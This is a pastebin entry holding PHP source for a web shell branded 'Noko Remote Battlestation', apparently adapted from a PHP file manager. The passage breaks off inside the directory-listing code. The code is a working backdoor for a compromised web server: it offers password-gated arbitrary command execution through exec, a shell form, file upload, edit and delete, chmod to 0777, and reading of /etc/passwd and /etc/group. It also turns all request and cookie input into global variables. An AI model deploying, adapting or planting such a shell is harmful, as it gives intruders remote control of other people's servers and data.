Untitled

From Beefy Cat, 10 Years ago, written in PHP.

URL http://geopaste.scratchbook.ch/view/3c34190e

Embed

<?php

//a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"3f7fabbd646df2b6b2be00648c2e1547";s:8:"quota_mb";i:0;s:17:"upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";s:0:"";s:7:"fm_root";s:1:"/";s:17:"cookie_cache_time";i:1096733048;s:7:"version";s:5:"0.9.3";}

/*--------------------------------------------------

*/

// +--------------------------------------------------

// | Header and Globals

// +--------------------------------------------------

header("Pragma: no-cache");

header("Cache-Control: no-store");

foreach ($_GET as $key => $val) $$key=htmldecode($val);

foreach ($_POST as $key => $val) $$key=htmldecode($val);

foreach ($_COOKIE as $key => $val) $$key=htmldecode($val);

if (empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $ip = $_SERVER["REMOTE_ADDR"]; //sin proxy

else $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; //usa proxy

$islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');

//$url_info = parse_url($_SERVER["HTTP_REFERER"]);

$doc_root = ($islinux) ? $_SERVER["DOCUMENT_ROOT"] : ucfirst($_SERVER["DOCUMENT_ROOT"]);

$script_filename = $doc_root.$_SERVER["PHP_SELF"];

$path_info = pathinfo($script_filename);

// +--------------------------------------------------

// | Config

// +--------------------------------------------------

$cfg = new config();

$cfg->load();

ini_set("display_errors",1);

ini_set("error_reporting",$error_reporting);

if (!isset($dir_atual)){

$dir_atual = $path_info["dirname"]."/";

if (!$islinux) $dir_atual = ucfirst($dir_atual);

@chmod($dir_atual,0777);

} else $dir_atual = formatpath($dir_atual);

$is_reachable = (stristr($dir_atual,$doc_root)!==false);

// Auto Expand Local Path

if (!isset($expanded_dir_list)){

$expanded_dir_list = "";

$mat = explode("/",$path_info["dirname"]);

for ($x=0;$x<count($mat);$x++) $expanded_dir_list .= ":".$mat[$x];

setcookie("expanded_dir_list", $expanded_dir_list, 0, "/");

}

if (!isset($fm_root_atual)){

if (strlen($fm_root)) $fm_root_atual = $fm_root;

else {

if (!$islinux) $fm_root_atual = ucfirst($path_info["dirname"]."/");

else $fm_root_atual = $doc_root."/";

}

setcookie("fm_root_atual", $fm_root_atual, 0, "/");

} elseif (isset($set_fm_root_atual)) {

if (!$islinux) $fm_root_atual = ucfirst($set_fm_root_atual);

setcookie("fm_root_atual", $fm_root_atual, 0, "/");

}

if (!isset($resolveIDs)){

setcookie("resolveIDs", 0, $cookie_cache_time, "/");

} elseif (isset($set_resolveIDs)){

$resolveIDs=($resolveIDs)?0:1;

setcookie("resolveIDs", $resolveIDs, $cookie_cache_time, "/");

}

if ($resolveIDs){

exec("cat /etc/passwd",$mat_passwd);

exec("cat /etc/group",$mat_group);

}

$fm_color['Bg'] = "000000";

$fm_color['Text'] = "006600";

$fm_color['Link'] = "992929";

$fm_color['Mark'] = "A7D2E4";

$fm_color['Dir'] = "CCCCCC";

$fm_color['File'] = "000000";

$fm_color['FileFirstCell'] = "FFFFFF";

foreach($fm_color as $tag=>$color){

$fm_color[$tag]=strtolower($color);

}

// +--------------------------------------------------

// | File Manager Actions

// +--------------------------------------------------

if ($loggedon==$auth_pass){

switch ($frame){

case 1: break; // Empty Frame

case 2: frame2(); break;

case 3: frame3(); break;

default:

switch($action){

case 1: logout(); break;

case 2: config_form(); break;

case 3: download(); break;

case 4: view(); break;

case 5: server_info(); break;

case 6: execute(); break;

case 7: edit_file_form(); break;

case 8: chmod_form(); break;

case 9: shell_form(); break;

case 10: upload_form(); break;

case 11: tools_form(); break;

default: frameset();

}

}

} else {

if (isset($senha)) login();

else form_login();

}

// +--------------------------------------------------

// | Config Class

// +--------------------------------------------------

class config {

var $data;

var $filename;

function config(){

global $script_filename;

$this->data = array(

'lang'=>'en',

'auth_pass'=>md5(''),

'quota_mb'=>0,

'upload_ext_filter'=>array(),

'download_ext_filter'=>array(),

'error_reporting'=>'',

'fm_root'=>'',

'cookie_cache_time'=>time()+60*60*24*30, // 30 Dias

'version'=>'0.9.3'

);

$data = false;

$this->filename = $script_filename;

if (file_exists($this->filename)){

$mat = file($this->filename);

$objdata = trim(substr($mat[1],2));

if (strlen($objdata)) $data = unserialize($objdata);

}

if (is_array($data)&&count($data)==count($this->data)) $this->data = $data;

else $this->save();

}

function save(){

$objdata = "<?".chr(13).chr(10)."//".serialize($this->data).chr(13).chr(10);

if (strlen($objdata)){

if (file_exists($this->filename)){

$mat = file($this->filename);

if ($fh = @fopen($this->filename, "w")){

@fputs($fh,$objdata,strlen($objdata));

for ($x=2;$x<count($mat);$x++) @fputs($fh,$mat[$x],strlen($mat[$x]));

@fclose($fh);

}

}

}

}

function load(){

foreach ($this->data as $key => $val) $GLOBALS[$key] = $val;

}

}

// +--------------------------------------------------

// | Internationalization

// +--------------------------------------------------

function et($tag){

global $lang;

// English

$en['Version'] = 'Version';

$en['DocRoot'] = 'Document Root';

$en['FLRoot'] = 'File Manager Root';

$en['Name'] = 'Name';

$en['And'] = 'and';

$en['Enter'] = 'Enter';

$en['Send'] = 'Send';

$en['Refresh'] = 'Refresh';

$en['SaveConfig'] = 'Save Configurations';

$en['SavePass'] = 'Save Password';

$en['SaveFile'] = 'Save File';

$en['Save'] = 'Save';

$en['Leave'] = 'Leave';

$en['Edit'] = 'Edit';

$en['View'] = 'View';

$en['Config'] = 'Config';

$en['Ren'] = 'Rename';

$en['Rem'] = 'Delete';

$en['Compress'] = 'Compress';

$en['Decompress'] = 'Decompress';

$en['ResolveIDs'] = 'Resolve IDs';

$en['Move'] = 'Move';

$en['Copy'] = 'Copy';

$en['ServerInfo'] = 'Server Info';

$en['CreateDir'] = 'Create Directory';

$en['CreateArq'] = 'Create File';

$en['ExecCmd'] = 'Execute Command';

$en['Upload'] = 'Upload';

$en['UploadEnd'] = 'Upload Finished';

$en['Perms'] = 'Permissions';

$en['Owner'] = 'Owner';

$en['Group'] = 'Group';

$en['Other'] = 'Other';

$en['Size'] = 'Size';

$en['Date'] = 'Date';

$en['Type'] = 'Type';

$en['Free'] = 'free';

$en['Shell'] = 'Shell';

$en['Read'] = 'Read';

$en['Write'] = 'Write';

$en['Exec'] = 'Execute';

$en['Apply'] = 'Apply';

$en['StickyBit'] = 'Sticky Bit';

$en['Pass'] = 'Password';

$en['Lang'] = 'Language';

$en['File'] = 'File';

$en['File_s'] = 'file(s)';

$en['Dir_s'] = 'directory(s)';

$en['To'] = 'to';

$en['Destination'] = 'Destination';

$en['Configurations'] = 'Configurations';

$en['JSError'] = 'JavaScript Error';

$en['NoSel'] = 'There are no selected itens';

$en['SelDir'] = 'Select the destination directory on the left tree';

$en['TypeDir'] = 'Enter the directory name';

$en['TypeArq'] = 'Enter the file name';

$en['TypeCmd'] = 'Enter the command';

$en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';

$en['RemSel'] = 'DELETE selected itens';

$en['NoDestDir'] = 'There is no selected destination directory';

$en['DestEqOrig'] = 'Origin and destination directories are equal';

$en['InvalidDest'] = 'Destination directory is invalid';

$en['NoNewPerm'] = 'New permission not set';

$en['CopyTo'] = 'COPY to';

$en['MoveTo'] = 'MOVE to';

$en['AlterPermTo'] = 'CHANGE PERMISSIONS to';

$en['ConfExec'] = 'Confirm EXECUTE';

$en['ConfRem'] = 'Confirm DELETE';

$en['EmptyDir'] = 'Empty directory';

$en['IOError'] = 'I/O Error';

$en['FileMan'] = 'Noko Remote Battlestation';

$en['TypePass'] = 'Enter the password';

$en['InvPass'] = 'Invalid Password';

$en['ReadDenied'] = 'Read Access Denied';

$en['FileNotFound'] = 'File not found';

$en['AutoClose'] = 'Close on Complete';

$en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';

$en['NoCmd'] = 'Error: Command not informed';

$en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';

$en['ConfSaved'] = 'Configurations saved';

$en['PassSaved'] = 'Password saved';

$en['FileDirExists'] = 'File or directory already exists';

$en['NoPhpinfo'] = 'Function phpinfo disabled';

$en['NoReturn'] = 'no return';

$en['FileSent'] = 'File sent';

$en['SpaceLimReached'] = 'Space limit reached';

$en['InvExt'] = 'Invalid extension';

$en['FileNoOverw'] = 'File could not be overwritten';

$en['FileOverw'] = 'File overwritten';

$en['FileIgnored'] = 'File ignored';

$en['ChkVer'] = 'Check sf.net for new version';

$en['ChkVerAvailable'] = 'New version, click here to begin download!!';

$en['ChkVerNotAvailable'] = 'No new version available. :(';

$en['ChkVerError'] = 'Connection Error.';

$en['Website'] = 'Website';

$en['SendingForm'] = 'Sending files, please wait';

$en['NoFileSel'] = 'No file selected';

$en['SelAll'] = 'All';

$en['SelNone'] = 'None';

$en['SelInverse'] = 'Inverse';

$en['Selected_s'] = 'selected';

$en['Total'] = 'total';

$en['Partition'] = 'Partition';

$en['RenderTime'] = 'Time to render this page';

$en['Seconds'] = 'sec';

$en['ErrorReport'] = 'Error Reporting';

$lang_ = $$lang;

if (isset($lang_[$tag])) return htmlencode($lang_[$tag]);

else return "undefined";

}

// +--------------------------------------------------

// | File System

// +--------------------------------------------------

function total_size($arg) {

$total = 0;

if (file_exists($arg)) {

if (is_dir($arg)) {

$handle = opendir($arg);

while($aux = readdir($handle)) {

if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux);

}

closedir($handle);

} else $total = filesize($arg);

}

return $total;

}

function total_delete($arg) {

if (file_exists($arg)) {

chmod($arg,0777);

if (is_dir($arg)) {

$handle = opendir($arg);

while($aux = readdir($handle)) {

if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);

}

closedir($handle);

rmdir($arg);

} else unlink($arg);

}

}

function total_copy($orig,$dest) {

$ok = true;

if (file_exists($orig)) {

if (is_dir($orig)) {

mkdir($dest,0777);

$handle = opendir($orig);

while(($aux = readdir($handle))&&($ok)) {

if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux);

}

closedir($handle);

} else $ok = copy((string)$orig,(string)$dest);

}

return $ok;

}

function total_move($orig,$dest) {

// Just why doesn't it has a MOVE alias?!

return rename((string)$orig,(string)$dest);

}

function download(){

global $dir_atual,$filename;

$file = $dir_atual.$filename;

if(file_exists($file)){

$is_proibido = false;

foreach($download_ext_filter as $key=>$ext){

if (eregi($ext,$filename)){

$is_proibido = true;

break;

}

}

if (!$is_proibido){

$size = filesize($file);

header("Content-Type: application/save");

header("Content-Length: $size");

header("Content-Disposition: attachment; filename=\"$filename\"");

header("Content-Transfer-Encoding: binary");

if ($fh = fopen("$file", "rb")){

fpassthru($fh);

fclose($fh);

} else alert(et('ReadDenied').": ".$file);

} else alert(et('ReadDenied').": ".$file);

} else alert(et('FileNotFound').": ".$file);

}

function execute(){

global $cmd;

header("Content-type: text/plain");

if (strlen($cmd)){

echo "# ".$cmd."\n";

exec($cmd,$mat);

if (count($mat)) echo trim(implode("\n",$mat));

else echo "exec(\"$cmd\") ".et('NoReturn')."...";

} else echo et('NoCmd');

}

function save_upload($temp_file,$filename,$dir_dest) {

global $upload_ext_filter;

$filename = remove_acentos($filename);

$file = $dir_dest.$filename;

$filesize = filesize($temp_file);

$is_proibido = false;

foreach($upload_ext_filter as $key=>$ext){

if (eregi($ext,$filename)){

$is_proibido = true;

break;

}

}

if (!$is_proibido){

if (!limite($filesize)){

if (file_exists($file)){

if (unlink($file)){

if (copy($temp_file,$file)){

chmod($file,0777);

$out = 6;

} else $out = 2;

} else $out = 5;

} else {

if (copy($temp_file,$file)){

chmod($file,0777);

$out = 1;

} else $out = 2;

}

} else $out = 3;

} else $out = 4;

return $out;

}

function zip_extract(){

global $cmd_arg,$dir_atual,$islinux;

$zip = zip_open($dir_atual.$cmd_arg);

if ($zip) {

while ($zip_entry = zip_read($zip)) {

if (zip_entry_filesize($zip_entry)) {

$complete_path = $path.dirname(zip_entry_name($zip_entry));

$complete_name = $path.zip_entry_name($zip_entry);

if(!file_exists($complete_path)) {

$tmp = '';

foreach(explode('/',$complete_path) AS $k) {

$tmp .= $k.'/';

if(!file_exists($tmp)) {

@mkdir($dir_atual.$tmp, 0777);

}

}

}

if (zip_entry_open($zip, $zip_entry, "r")) {

if ($fd = fopen($dir_atual.$complete_name, 'w')){

fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));

fclose($fd);

} else echo "fopen($dir_atual.$complete_name) error<br>";

zip_entry_close($zip_entry);

} else echo "zip_entry_open($zip,$zip_entry) error<br>";

}

}

zip_close($zip);

}

}

// +--------------------------------------------------

// | Data Formating

// +--------------------------------------------------

function htmlencode($str){

return htmlentities($str);

}

// html_entity_decode() replacement

function html_entity_decode_for_php4_compatibility ($string) {

$trans_tbl = get_html_translation_table (HTML_ENTITIES);

$trans_tbl = array_flip ($trans_tbl);

$ret = strtr ($string, $trans_tbl);

return preg_replace('/\&\#([0-9]+)\;/me',

"chr('\\1')",$ret);

}

function htmldecode($str){

if (is_string($str)){

if (get_magic_quotes_gpc()) return stripslashes(html_entity_decode_for_php4_compatibility($str));

else return html_entity_decode($str);

} else return $str;

}

function rep($x,$y){

if ($x) {

$aux = "";

for ($a=1;$a<=$x;$a++) $aux .= $y;

return $aux;

} else return "";

}

function strzero($arg1,$arg2){

if (strstr($arg1,"-") == false){

$aux = intval($arg2) - strlen($arg1);

if ($aux) return rep($aux,"0").$arg1;

else return $arg1;

} else {

return "[$arg1]";

}

}

function replace_double($sub,$str){

$out=str_replace($sub.$sub,$sub,$str);

while ( strlen($out) != strlen($str) ){

$str=$out;

$out=str_replace($sub.$sub,$sub,$str);

}

return $out;

}

function remove_acentos($str){

$str = trim($str);

$str = strtr($str,"!@#%&*()[]{}+=?",

"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");

$str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));

return $str;

}

function formatpath($str){

global $islinux;

$str = trim($str);

$str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str)));

$done = false;

while (!$done) {

$str2 = str_replace("//","/",$str);

if (strlen($str) == strlen($str2)) $done = true;

else $str = $str2;

}

$tam = strlen($str);

if ($tam){

$last_char = $tam - 1;

if ($str[$last_char] != "/") $str .= "/";

if (!$islinux) $str = ucfirst($str);

}

return $str;

}

function array_csort() {

$args = func_get_args();

$marray = array_shift($args);

$msortline = "return(array_multisort(";

foreach ($args as $arg) {

$i++;

if (is_string($arg)) {

foreach ($marray as $row) {

$sortarr[$i][] = $row[$arg];

}

} else {

$sortarr[$i] = $arg;

}

$msortline .= "\$sortarr[".$i."],";

}

$msortline .= "\$marray));";

eval($msortline);

return $marray;

}

function show_perms( $in_Perms ) {

$sP = "<b>";

if($in_Perms & 0x1000) $sP .= 'p'; // FIFO pipe

elseif($in_Perms & 0x2000) $sP .= 'c'; // Character special

elseif($in_Perms & 0x4000) $sP .= 'd'; // Directory

elseif($in_Perms & 0x6000) $sP .= 'b'; // Block special

elseif($in_Perms & 0x8000) $sP .= '−'; // Regular

elseif($in_Perms & 0xA000) $sP .= 'l'; // Symbolic Link

elseif($in_Perms & 0xC000) $sP .= 's'; // Socket

else $sP .= 'u'; // UNKNOWN

$sP .= "</b>";

// owner - group - others

$sP .= (($in_Perms & 0x0100) ? 'r' : '−') . (($in_Perms & 0x0080) ? 'w' : '−') . (($in_Perms & 0x0040) ? (($in_Perms & 0x0800) ? 's' : 'x' ) : (($in_Perms & 0x0800) ? 'S' : '−'));

$sP .= (($in_Perms & 0x0020) ? 'r' : '−') . (($in_Perms & 0x0010) ? 'w' : '−') . (($in_Perms & 0x0008) ? (($in_Perms & 0x0400) ? 's' : 'x' ) : (($in_Perms & 0x0400) ? 'S' : '−'));

$sP .= (($in_Perms & 0x0004) ? 'r' : '−') . (($in_Perms & 0x0002) ? 'w' : '−') . (($in_Perms & 0x0001) ? (($in_Perms & 0x0200) ? 't' : 'x' ) : (($in_Perms & 0x0200) ? 'T' : '−'));

return $sP;

}

function formatsize($arg) {

if ($arg>0){

$j = 0;

$ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");

while ($arg >= pow(1024,$j)) ++$j;

return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];

} else return "0 Mb";

}

function getsize($file) {

return formatsize(filesize($file));

}

function limite($new_filesize=0) {

global $fm_root_atual;

global $quota_mb;

if($quota_mb){

$total = total_size($fm_root_atual);

if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;

}

return false;

}

function getuser ($arg) {

global $mat_passwd;

$aux = "x:".trim($arg).":";

for($x=0;$x<count($mat_passwd);$x++){

if (strstr($mat_passwd[$x],$aux)){

$mat = explode(":",$mat_passwd[$x]);

return $mat[0];

}

}

return $arg;

}

function getgroup ($arg) {

global $mat_group;

$aux = "x:".trim($arg).":";

for($x=0;$x<count($mat_group);$x++){

if (strstr($mat_group[$x],$aux)){

$mat = explode(":",$mat_group[$x]);

return $mat[0];

}

}

return $arg;

}

// +--------------------------------------------------

// | Interface

// +--------------------------------------------------

function html_header($plus=""){

global $fm_color;

echo "

<html>

<head>

<script language='javascript'>

// (c) Premshree Pillai

// http://www.qiksearch.com

// premshree@hotmail.com

// Use freely as long as this message is intact.

var msg = '...:::: ".et('FileMan')." ';

var pos = 0;

var spacer = ' ... ';

var time_length = 100;

function ScrollTitle()

{

document.title = msg.substring(pos, msg.length) + spacer + msg.substring(0, pos);

pos++;

if (pos > msg.length) pos=0;

window.setTimeout('ScrollTitle()',time_length);

}

ScrollTitle();

</script>

<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">

$plus

</head>

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

}

function reloadframe($ref,$frame_number,$plus=""){

global $dir_atual,$path_info;

echo "

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

}

function alert($arg){

echo "

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

}

function tree($dir_antes,$dir_corrente,$indice){

global $fm_root_atual, $dir_atual, $islinux;

global $expanded_dir_list;

$indice++;

$num_dir = 0;

$dir_name = str_replace($dir_antes,"",$dir_corrente);

$dir_corrente = str_replace("//","/",$dir_corrente);

$is_proibido = false;

if ($islinux) {

$proibidos = "/proc#/dev";

$mat = explode("#",$proibidos);

foreach($mat as $key => $val){

if ($dir_corrente == $val){

$is_proibido = true;

break;

}

}

unset($mat);

}

if (!$is_proibido){

if ($handle = @opendir($dir_corrente)){

// Permitido

while ($file = readdir($handle)){

if ($file != "." && $file != ".." && is_dir("$dir_corrente/$file"))

$mat_dir[] = $file;

}

closedir($handle);

if (count($mat_dir)){

sort($mat_dir,SORT_STRING);

// Con Sub-dir

if ($indice != 0){

for ($aux=1;$aux<$indice;$aux++) echo " ";

echo "";

}

if ($dir_antes != $dir_corrente){

if (strstr($expanded_dir_list,":$dir_corrente/$dir_name")) $op_str = "[]";

else $op_str = "[+]";

echo " <a href=\"JavaScript:go_dir('$dir_corrente/$dir_name')\"><b>$op_str</b></a> <a href=\"JavaScript:go('$dir_corrente')\"><b>$dir_name</b></a><br>\n";

} else {

echo "<a href=\"JavaScript:go('$dir_corrente')\"><b>$fm_root_atual</b></a><br>\n";

}

for ($x=0;$x<count($mat_dir);$x++){

if (($dir_antes == $dir_corrente)||(strstr($expanded_dir_list,":$dir_corrente/$dir_name"))){

tree($dir_corrente."/",$dir_corrente."/".$mat_dir[$x],$indice);

} else flush();

}

} else {

// Sin Sub-dir

if ($dir_antes != $dir_corrente){

for ($aux=1;$aux<$indice;$aux++) echo " ";

echo "";

echo "<a href=\"JavaScript:go('$dir_corrente')\"> <b>$dir_name</b></a><br>\n";

} else {

echo "<a href=\"JavaScript:go('$dir_corrente')\"> <b>$fm_root_atual</b></a><br>\n";

}

}

} else {

// Negado

if ($dir_antes != $dir_corrente){

for ($aux=1;$aux<$indice;$aux++) echo " ";

echo "";

echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$dir_name</b></font></a><br>\n";

} else {

echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$fm_root_atual</b></font></a><br>\n";

}

}

} else {

// Prohibido

if ($dir_antes != $dir_corrente){

for ($aux=1;$aux<$indice;$aux++) echo " ";

echo "";

echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$dir_name</b></font></a><br>\n";

} else {

echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$fm_root_atual</b></font></a><br>\n";

}

}

}

function show_tree(){

global $fm_root_atual,$path_info,$setflag,$islinux;

html_header();

echo "<body marginwidth=\"0\" marginheight=\"0\">\n";

echo "

<script language=\"Javascript\" type=\"text/javascript\">



</script>

";

echo "<table bordercolor=ffffff width=\"100%\" height=\"100%\" border=0 cellspacing=0 cellpadding=5>\n";

echo "<form><tr valign=top height=10><td>";

if (!$islinux){

echo "<select name=drive onchange=\"set_fm_root_atual(this.value)\">";

$aux="ABCDEFGHIJKLMNOPQRSTUVWXYZ";

for($x=0;$x<strlen($aux);$x++){

if (strstr(strtoupper($fm_root_atual),$aux[$x].":/")) $is_sel="selected";

else $is_sel="";

echo "<option $is_sel value=\"".$aux[$x].":/\">".$aux[$x].":/";

}

echo "</select> ";

}

echo "<input type=button value=".et('Refresh')." onclick=\"atualizar()\"></tr></form>";

//if (!$islinux) $aux=substr($fm_root_atual,0,strlen($fm_root_atual)-1);

//else

$aux=$fm_root_atual;

echo "<tr valign=top><td>";

clearstatcache();

tree($aux,$aux,-1,0);

echo "</td></tr>";

echo "

<form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\" target=\"_parent\">

<input type=hidden name=action value=1>

<tr>

<td height=10 colspan=2><input type=submit value=\"".et('Leave')."\">

</tr>

</form>

";

echo "</table>\n";

echo "</body>\n</html>";

}

function getmicrotime(){

list($usec, $sec) = explode(" ", microtime());

return ((float)$usec + (float)$sec);

}

function dir_list_form() {

global $fm_root_atual,$dir_atual,$quota_mb,$resolveIDs,$order_dir_list_by,$islinux,$cmd_name,$ip,$is_reachable,$path_info,$fm_color;

$ti = getmicrotime();

clearstatcache();

$out = "<table bordercolor=ffffff border=0 cellspacing=1 cellpadding=4 width=\"100%\" bgcolor=\"#000000\">\n";

if ($opdir = @opendir($dir_atual)) {

$entry_count = 0;

$file_count = 0;

$dir_count = 0;

$total_size = 0;

$uplink = "";

$entry_list = array();

$highlight_cols = 0;

while ($file = readdir($opdir)) {

if (($file != ".")&&($file != "..")){

if (is_file($dir_atual.$file)){

$ext = strtolower(strrchr($file,"."));

$entry_list[$entry_count]["type"] = "file";

// Funo filetype() returns only "file"...

$entry_list[$entry_count]["size"] = filesize($dir_atual.$file);

$entry_list[$entry_count]["sizet"] = getsize($dir_atual.$file);

if (strstr($ext,".")){

$entry_list[$entry_count]["ext"] = $ext;

$entry_list[$entry_count]["extt"] = $ext;

} else {

$entry_list[$entry_count]["ext"] = "";

$entry_list[$entry_count]["extt"] = " ";

}

$file_count++;

} elseif (is_dir($dir_atual.$file)) {

// Recursive directory size disabled

// $entry_list[$entry_count]["size"] = total_size($dir_atual.$file);

$entry_list[$entry_count]["size"] = 0;

$entry_list[$entry_count]["sizet"] = 0;

$entry_list[$entry_count]["type"] = "dir";

$dir_count++;

}

$entry_list[$entry_count]["name"] = $file;

$entry_list[$entry_count]["date"] = date("Ymd", filemtime($dir_atual.$file));

$entry_list[$entry_count]["time"] = date("his", filemtime($dir_atual.$file));

$entry_list[$entry_count]["datet"] = date("d/m/Y h:i:s", filemtime($dir_atual.$file));

if ($islinux && $resolveIDs){

$entry_list[$entry_count]["p"] = show_perms(fileperms($dir_atual.$file));

$entry_list[$entry_count]["u"] = getuser(fileowner($dir_atual.$file));

$entry_list[$entry_count]["g"] = getgroup(filegroup($dir_atual.$file));

} else {

$entry_list[$entry_count]["p"] = base_convert(fileperms($dir_atual.$file),10,8);

$entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"],strlen($entry_list[$entry_count]["p"])-3);

$entry_list[$entry_count]["u"] = fileowner($dir_atual.$file);

$entry_list[$entry_count]["g"] = filegroup($dir_atual.$file);

}

$total_size += $entry_list[$entry_count]["size"];

$entry_count++;

}

}

closedir($opdir);

if ($file_count) $highlight_cols = ($islinux)?7:5;

else $highlight_cols = ($islinux)?6:4;

if($entry_count){

$or1="1A";

$or2="2D";

$or3="3A";

$or4="4A";

$or5="5A";

$or6="6D";

$or7="7D";

switch($order_dir_list_by){

case "1A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break;

case "1D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break;

case "2A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break;

case "2D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break;

case "3A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break;

case "3D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break;

case "4A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break;

case "4D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break;

case "5A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break;

case "5D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break;

case "6A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break;

case "6D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break;

case "7A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break;

case "7D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break;

}

}

$out .= "

<script language=\"Javascript\" type=\"text/javascript\">



</script>";

$out .= "

<form name=\"form_action\" action=\"".$path_info["basename"]."\" method=\"post\" onsubmit=\"return test_action();\">

<input type=hidden name=\"frame\" value=3>

<input type=hidden name=\"action\" value=0>

<input type=hidden name=\"dir_dest\" value=\"\">

<input type=hidden name=\"chmod_arg\" value=\"\">

<input type=hidden name=\"cmd_arg\" value=\"\">

<input type=hidden name=\"dir_atual\" value=\"$dir_atual\">

<input type=hidden name=\"dir_antes\" value=\"$dir_antes\">

<input type=hidden name=\"selected_dir_list\" value=\"\">

<input type=hidden name=\"selected_file_list\" value=\"\">";

$out .= "

<tr>

<td bgcolor=\"#000000\" colspan=20><nobr>

<input type=button onclick=\"test_prompt(1)\" value=\"".et('CreateDir')."\">

<input type=button onclick=\"test_prompt(2)\" value=\"".et('CreateArq')."\">

<input type=button onclick=\"execute()\" value=\"".et('ExecCmd')."\">

<input type=button onclick=\"tools()\" value=\"tools\">

<input type=button onclick=\"upload()\" value=\"".et('Upload')."\">

<b>$ip</b>

<div id='example2'></div>

</nobr>";

if ($dir_atual != $fm_root_atual){

$mat = explode("/",$dir_atual);

$dir_antes = "";

for($x=0;$x<(count($mat)-2);$x++) $dir_antes .= $mat[$x]."/";

$uplink = "<a href=\"".$path_info["basename"]."?frame=3&dir_atual=$dir_antes\"><<</a> ";

}

if($entry_count){

$out .= "

<tr><td bgcolor=\"#000000\" colspan=20><nobr>$uplink <a href=\"".$path_info["basename"]."?frame=3&dir_atual=$dir_atual\">$dir_atual</a></nobr>

<tr>

<td bgcolor=\"#000000\" colspan=20><nobr>

<input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelAll')."\">

<input type=\"button\" style=\"width:60\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">

<input type=\"button\" style=\"width:60\" onclick=\"test(4)\" value=\"".et('Rem')."\">

<input type=\"button\" style=\"width:60\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">

<input type=\"button\" style=\"width:60\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">

<input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";

if ($islinux) $out .= "

<input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";

$out .= "

<input type=\"button\" style=\"width:100\" onclick=\"chmod(9)\" value=\"".et('Perms')."\">";

$out .= "

</nobr>

<tr><td bgcolor=\"#000000\" colspan=20><DIV ID=\"sel_status\"></DIV></td></tr>";

$dir_out="";

$file_out="";

foreach ($entry_list as $ind=>$dir_entry) {

